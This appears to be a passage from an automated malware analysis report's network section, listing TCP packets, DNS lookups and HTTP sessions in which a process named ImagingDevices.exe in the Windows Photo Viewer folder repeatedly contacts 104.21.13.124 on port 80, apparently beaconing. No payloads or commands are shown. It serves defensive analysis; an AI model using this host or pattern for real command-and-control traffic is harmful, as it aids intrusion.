Apr 3, 2024 06:38:47.812414885 CEST | 80 | 49843 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:47.812503099 CEST | 49843 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:47.936816931 CEST | 80 | 49843 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:48.109585047 CEST | 80 | 49843 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:48.109853983 CEST | 49843 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:48.110239983 CEST | 80 | 49843 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:48.110291004 CEST | 49843 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:48.234251976 CEST | 80 | 49843 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:48.252931118 CEST | 49844 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:48.377366066 CEST | 80 | 49844 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:48.377458096 CEST | 49844 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:48.379698992 CEST | 49844 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:48.504065990 CEST | 80 | 49844 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:48.504187107 CEST | 49844 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:48.628524065 CEST | 80 | 49844 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:48.798671007 CEST | 80 | 49844 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:48.798866987 CEST | 80 | 49844 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:48.798918962 CEST | 49844 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:48.799248934 CEST | 49844 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:48.923676968 CEST | 80 | 49844 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:48.935008049 CEST | 49845 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:49.059787035 CEST | 80 | 49845 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:49.060029030 CEST | 49845 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:49.062803984 CEST | 49845 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:49.187179089 CEST | 80 | 49845 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:49.187238932 CEST | 49845 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:49.311649084 CEST | 80 | 49845 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:49.483000040 CEST | 80 | 49845 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:49.483231068 CEST | 49845 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:49.483346939 CEST | 80 | 49845 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:49.483397961 CEST | 49845 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:49.607599020 CEST | 80 | 49845 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:49.621396065 CEST | 49846 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:49.746107101 CEST | 80 | 49846 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:49.746213913 CEST | 49846 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:49.748493910 CEST | 49846 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:49.873267889 CEST | 80 | 49846 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:49.873338938 CEST | 49846 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:49.998516083 CEST | 80 | 49846 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:50.168106079 CEST | 80 | 49846 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:50.168381929 CEST | 49846 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:50.168560982 CEST | 80 | 49846 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:50.168627977 CEST | 49846 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:50.294941902 CEST | 80 | 49846 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:50.310019016 CEST | 49847 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:50.434672117 CEST | 80 | 49847 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:50.434798956 CEST | 49847 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:50.437190056 CEST | 49847 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:50.561937094 CEST | 80 | 49847 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:50.562014103 CEST | 49847 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:50.686773062 CEST | 80 | 49847 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:50.856304884 CEST | 80 | 49847 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:50.856564999 CEST | 80 | 49847 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:50.856631041 CEST | 49847 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:50.858866930 CEST | 49847 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:50.984102964 CEST | 80 | 49847 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:50.996572018 CEST | 49848 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:51.120830059 CEST | 80 | 49848 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:51.121057987 CEST | 49848 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:51.126317978 CEST | 49848 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:51.250298023 CEST | 80 | 49848 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:51.250366926 CEST | 49848 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:51.374183893 CEST | 80 | 49848 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:51.541656971 CEST | 80 | 49848 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:51.541742086 CEST | 80 | 49848 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:51.541804075 CEST | 49848 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:51.541945934 CEST | 49848 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:51.665857077 CEST | 80 | 49848 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:51.686769009 CEST | 49849 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:51.811446905 CEST | 80 | 49849 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:51.811542988 CEST | 49849 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:51.813477993 CEST | 49849 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:51.937983990 CEST | 80 | 49849 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:51.938059092 CEST | 49849 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:52.064783096 CEST | 80 | 49849 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:52.373929024 CEST | 80 | 49849 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:52.374150038 CEST | 49849 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:52.374557018 CEST | 80 | 49849 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:52.374608994 CEST | 49849 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:52.498809099 CEST | 80 | 49849 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:52.510831118 CEST | 49850 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:52.636068106 CEST | 80 | 49850 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:52.636172056 CEST | 49850 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:52.638175011 CEST | 49850 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:52.763200998 CEST | 80 | 49850 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:52.763309002 CEST | 49850 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:52.888353109 CEST | 80 | 49850 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:53.062553883 CEST | 80 | 49850 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:53.062717915 CEST | 80 | 49850 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:53.062767982 CEST | 49850 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:53.062807083 CEST | 49850 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:53.187792063 CEST | 80 | 49850 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:53.198067904 CEST | 49851 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:53.322693110 CEST | 80 | 49851 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:53.322835922 CEST | 49851 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:53.324728966 CEST | 49851 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:53.449249029 CEST | 80 | 49851 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:53.449424982 CEST | 49851 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:53.574074984 CEST | 80 | 49851 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:53.752285957 CEST | 80 | 49851 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:53.752572060 CEST | 49851 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:53.753328085 CEST | 80 | 49851 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:53.753379107 CEST | 49851 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:53.877093077 CEST | 80 | 49851 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:53.883661985 CEST | 49852 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:54.007981062 CEST | 80 | 49852 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:54.008066893 CEST | 49852 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:54.009984970 CEST | 49852 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:54.134251118 CEST | 80 | 49852 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:54.134341002 CEST | 49852 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:54.258673906 CEST | 80 | 49852 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:54.573359013 CEST | 80 | 49852 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:54.573605061 CEST | 49852 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:54.573646069 CEST | 80 | 49852 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:54.573693037 CEST | 49852 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:54.698005915 CEST | 80 | 49852 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:54.714946985 CEST | 49853 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:54.840018988 CEST | 80 | 49853 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:54.840145111 CEST | 49853 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:54.842169046 CEST | 49853 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:54.966985941 CEST | 80 | 49853 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:54.967072964 CEST | 49853 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:55.092123985 CEST | 80 | 49853 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:55.256551027 CEST | 80 | 49853 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:55.256692886 CEST | 80 | 49853 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:55.256752968 CEST | 49853 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:55.256951094 CEST | 49853 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:55.381793022 CEST | 80 | 49853 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:55.407073021 CEST | 49854 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:55.531677008 CEST | 80 | 49854 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:55.532332897 CEST | 49854 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:55.534564972 CEST | 49854 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:55.658790112 CEST | 80 | 49854 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:55.660617113 CEST | 49854 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:55.784987926 CEST | 80 | 49854 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:55.956835985 CEST | 80 | 49854 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:55.957307100 CEST | 49854 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:55.957501888 CEST | 80 | 49854 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:55.957564116 CEST | 49854 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:56.081636906 CEST | 80 | 49854 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:56.091351032 CEST | 49855 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:56.215806007 CEST | 80 | 49855 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:56.215900898 CEST | 49855 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:56.219175100 CEST | 49855 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:56.343594074 CEST | 80 | 49855 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:56.343656063 CEST | 49855 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:56.468700886 CEST | 80 | 49855 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:56.647528887 CEST | 80 | 49855 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:56.647773027 CEST | 80 | 49855 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:56.647876024 CEST | 49855 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:56.647983074 CEST | 49855 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:56.772847891 CEST | 80 | 49855 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:56.793962002 CEST | 49856 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:56.918385983 CEST | 80 | 49856 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:56.918467999 CEST | 49856 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:56.921190023 CEST | 49856 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:57.045996904 CEST | 80 | 49856 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:57.046123981 CEST | 49856 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:57.170444965 CEST | 80 | 49856 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:57.483875036 CEST | 80 | 49856 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:57.484045029 CEST | 80 | 49856 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:57.484122992 CEST | 49856 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:58.584541082 CEST | 49856 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:58.709031105 CEST | 80 | 49856 | 104.21.13.124 | 192.168.2.4 |
Timestamp | Source Port | Dest Port | Source IP | Dest IP |
---|---|---|---|---|
Apr 3, 2024 06:37:19.497356892 CEST | 60521 | 53 | 192.168.2.4 | 1.1.1.1 |
Apr 3, 2024 06:37:19.622273922 CEST | 53 | 60521 | 1.1.1.1 | 192.168.2.4 |
Apr 3, 2024 06:37:20.376297951 CEST | 62970 | 53 | 192.168.2.4 | 1.1.1.1 |
Apr 3, 2024 06:37:20.504226923 CEST | 53 | 62970 | 1.1.1.1 | 192.168.2.4 |
Apr 3, 2024 06:37:23.663933039 CEST | 55811 | 53 | 192.168.2.4 | 1.1.1.1 |
Apr 3, 2024 06:37:24.090029955 CEST | 53 | 55811 | 1.1.1.1 | 192.168.2.4 |
Timestamp | Source IP | Dest IP | Trans ID | OP Code | Name | Type | Class | DNS over HTTPS |
---|---|---|---|---|---|---|---|---|
Apr 3, 2024 06:37:19.497356892 CEST | 192.168.2.4 | 1.1.1.1 | 0x8bbc | Standard query (0) | A (IP address) | IN (0x0001) | false | |
Apr 3, 2024 06:37:20.376297951 CEST | 192.168.2.4 | 1.1.1.1 | 0x42ab | Standard query (0) | A (IP address) | IN (0x0001) | false | |
Apr 3, 2024 06:37:23.663933039 CEST | 192.168.2.4 | 1.1.1.1 | 0x1785 | Standard query (0) | A (IP address) | IN (0x0001) | false |
Timestamp | Source IP | Dest IP | Trans ID | Reply Code | Name | CName | Address | Type | Class | DNS over HTTPS |
---|---|---|---|---|---|---|---|---|---|---|
Apr 3, 2024 06:37:19.622273922 CEST | 1.1.1.1 | 192.168.2.4 | 0x8bbc | No error (0) | 192.178.50.78 | A (IP address) | IN (0x0001) | false | ||
Apr 3, 2024 06:37:20.504226923 CEST | 1.1.1.1 | 192.168.2.4 | 0x42ab | No error (0) | 192.178.50.65 | A (IP address) | IN (0x0001) | false | ||
Apr 3, 2024 06:37:24.090029955 CEST | 1.1.1.1 | 192.168.2.4 | 0x1785 | No error (0) | 104.21.13.124 | A (IP address) | IN (0x0001) | false | ||
Apr 3, 2024 06:37:24.090029955 CEST | 1.1.1.1 | 192.168.2.4 | 0x1785 | No error (0) | 172.67.167.246 | A (IP address) | IN (0x0001) | false |
|
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
0 | 192.168.2.4 | 49740 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:24.221116066 CEST | 244 | OUT | |
Apr 3, 2024 06:37:24.347925901 CEST | 176 | OUT | |
Apr 3, 2024 06:37:24.779788017 CEST | 621 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
1 | 192.168.2.4 | 49741 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:25.030663013 CEST | 244 | OUT | |
Apr 3, 2024 06:37:25.155721903 CEST | 176 | OUT | |
Apr 3, 2024 06:37:25.581723928 CEST | 617 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
2 | 192.168.2.4 | 49742 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:25.764698982 CEST | 244 | OUT | |
Apr 3, 2024 06:37:25.893218994 CEST | 149 | OUT | |
Apr 3, 2024 06:37:26.326467991 CEST | 625 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
3 | 192.168.2.4 | 49743 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:28.125041008 CEST | 244 | OUT | |
Apr 3, 2024 06:37:28.249512911 CEST | 149 | OUT | |
Apr 3, 2024 06:37:28.687709093 CEST | 619 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
4 | 192.168.2.4 | 49744 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:28.952090025 CEST | 244 | OUT | |
Apr 3, 2024 06:37:29.076817989 CEST | 149 | OUT | |
Apr 3, 2024 06:37:29.510701895 CEST | 617 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
5 | 192.168.2.4 | 49745 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:29.787076950 CEST | 244 | OUT | |
Apr 3, 2024 06:37:29.911164045 CEST | 149 | OUT | |
Apr 3, 2024 06:37:30.342767000 CEST | 631 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
6 | 192.168.2.4 | 49746 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:30.613046885 CEST | 244 | OUT | |
Apr 3, 2024 06:37:30.738256931 CEST | 149 | OUT | |
Apr 3, 2024 06:37:31.172743082 CEST | 623 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
7 | 192.168.2.4 | 49747 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:31.437870979 CEST | 244 | OUT | |
Apr 3, 2024 06:37:31.562454939 CEST | 149 | OUT | |
Apr 3, 2024 06:37:31.994648933 CEST | 623 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
8 | 192.168.2.4 | 49748 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:32.267354012 CEST | 244 | OUT | |
Apr 3, 2024 06:37:32.392137051 CEST | 149 | OUT | |
Apr 3, 2024 06:37:32.821779966 CEST | 621 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
9 | 192.168.2.4 | 49749 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:33.093730927 CEST | 244 | OUT | |
Apr 3, 2024 06:37:33.218550920 CEST | 149 | OUT | |
Apr 3, 2024 06:37:33.509691000 CEST | 617 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
10 | 192.168.2.4 | 49750 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:33.791207075 CEST | 244 | OUT | |
Apr 3, 2024 06:37:33.915788889 CEST | 149 | OUT | |
Apr 3, 2024 06:37:34.342127085 CEST | 619 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
11 | 192.168.2.4 | 49751 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:34.610079050 CEST | 244 | OUT | |
Apr 3, 2024 06:37:34.735025883 CEST | 149 | OUT | |
Apr 3, 2024 06:37:35.177521944 CEST | 627 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
12 | 192.168.2.4 | 49752 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:35.452744961 CEST | 244 | OUT | |
Apr 3, 2024 06:37:35.578013897 CEST | 149 | OUT | |
Apr 3, 2024 06:37:35.871701002 CEST | 621 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
13 | 192.168.2.4 | 49753 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:36.151380062 CEST | 244 | OUT | |
Apr 3, 2024 06:37:36.276568890 CEST | 149 | OUT | |
Apr 3, 2024 06:37:36.567384005 CEST | 629 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
14 | 192.168.2.4 | 49754 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:36.850228071 CEST | 244 | OUT | |
Apr 3, 2024 06:37:36.977451086 CEST | 149 | OUT | |
Apr 3, 2024 06:37:37.429876089 CEST | 629 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
15 | 192.168.2.4 | 49755 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:37.702888966 CEST | 244 | OUT | |
Apr 3, 2024 06:37:37.827876091 CEST | 149 | OUT | |
Apr 3, 2024 06:37:38.131963015 CEST | 621 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
16 | 192.168.2.4 | 49756 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:38.407237053 CEST | 244 | OUT | |
Apr 3, 2024 06:37:38.531969070 CEST | 149 | OUT | |
Apr 3, 2024 06:37:38.835591078 CEST | 625 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
17 | 192.168.2.4 | 49757 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:39.122189045 CEST | 244 | OUT | |
Apr 3, 2024 06:37:39.247241020 CEST | 149 | OUT | |
Apr 3, 2024 06:37:39.687850952 CEST | 627 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
18 | 192.168.2.4 | 49758 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:39.958518982 CEST | 244 | OUT | |
Apr 3, 2024 06:37:40.082890034 CEST | 149 | OUT | |
Apr 3, 2024 06:37:40.526815891 CEST | 621 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
19 | 192.168.2.4 | 49759 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:40.804238081 CEST | 244 | OUT | |
Apr 3, 2024 06:37:40.928263903 CEST | 149 | OUT | |
Apr 3, 2024 06:37:41.214807034 CEST | 623 | IN |
